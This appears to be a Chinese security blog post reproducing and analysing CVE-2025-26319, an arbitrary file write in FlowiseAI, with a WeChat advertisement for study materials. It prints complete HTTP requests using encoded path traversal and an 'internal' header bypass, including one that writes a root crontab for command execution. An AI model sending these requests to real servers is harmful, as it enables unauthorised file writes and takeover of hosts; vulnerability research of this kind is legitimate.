FlowiseAI 任意文件写入漏洞(CVE-2025–26319)

2025-03-30 84 0

漏洞简介

Flowise是一款与LangChain兼容的开源低代码工具,使普通用户和开发人员都能通过可视化连线方式创建LLM工作流和AI应用。然而该平台存在严重的文件上传漏洞——尽管Flowise实施了上传校验机制,攻击者仍可通过特殊编码绕过限制,实现任意目录的文件写入。这一安全缺陷使未经授权的攻击者能够上传恶意文件、脚本或SSH密钥,从而获取对托管服务器的远程控制权,对使用该平台构建AI代理的组织构成重大安全威胁。

漏洞复现

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图1

安装环境后构造上传的数据包

POST /api/v1/attachments/test/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain

This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图2

在服务器上查找上传文件的位置

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图3

再次构造数据包

POST /api/v1/attachments/..%2ftest/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain

This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图4

在服务器上再次查找文件位置

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图5

成功实现跨越目录的上传操作

【----帮助网安学习,以下所有学习资料加v~x:yj520400,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

进一步的进行利用的话 可以通过向定时任务中写入文件实现任意命令执行

POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain

# do daily/weekly/monthly maintenance
# min   hour   day     month   weekday command
*/15    *       *       *       *       run-parts /etc/periodic/15min
0       *       *       *       *       run-parts /etc/periodic/hourly
0       2       *       *       *       run-parts /etc/periodic/daily
0       3       *       *       6       run-parts /etc/periodic/weekly
0       5       1       *       *       run-parts /etc/periodic/monthly
* * * * * echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图6

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图7

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图8

漏洞分析

在Flowise平台的核心架构中,通过constants.ts​文件定义了一系列无需认证即可访问的API端点,这些端点被归类为WHITELIST_URLS​。该设计允许特定功能(如API密钥验证、公共聊天流和文件操作等)在未经认证的情况下运行,以提高用户体验和系统灵活性。

Flowise-main/packages/server/src/utils/constants.ts

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图9

当服务器接收到新的HTTP请求时,其鉴权流程遵循严格的逻辑顺序:首先检查请求路径是否包含"/api/v1"前缀(不区分大小写);接着进行大小写敏感的路径验证;随后系统会判断该URL是否存在于预定义的白名单中。若请求路径已被列入白名单,则继续处理;否则,系统会进一步检查请求头中是否包含"internal"标记,或尝试验证API密钥。

Flowise-main/packages/server/src/index.ts

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图10

Flowise-main/packages/server/src/routes/attachments/index.ts

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图11

Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图12

/api/v1/attachments/ 路由下存在上传创建文件的操作

Flowise-main/packages/server/src/utils/createAttachment.ts#createFileAttachment

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图13

createFileAttachment 中会调用 addArrayFilesToStorage 来对文件进行处理

此时我们也可以看到对应的所有上传路由 /api/v1/attachments/:chatflowId/:chatId

Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage

FlowiseAI 任意文件写入漏洞(CVE-2025–26319)插图14​在 addArrayFilesToStorage 中对文件地址进行处理时,会将 chatflowId 和 chatId 未经处理也直接拼接到路径中,所以可以通过编码就直接绕过目录限制实现跨目录的上传。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

ingress-nightmare 漏洞利用分析与 k8s 相关组件理解
分析CVE-2024-4577
WordPress wpdm-premium-packages SQL注入漏洞(CVE-2025-24659)
记一次新手小白java反序列化——cc1链的学习
WordPress 未授权本地文件包含漏洞(CVE-2025-2294)
SQL注入绕waf姿势:sleep被过滤了怎么办?

发布评论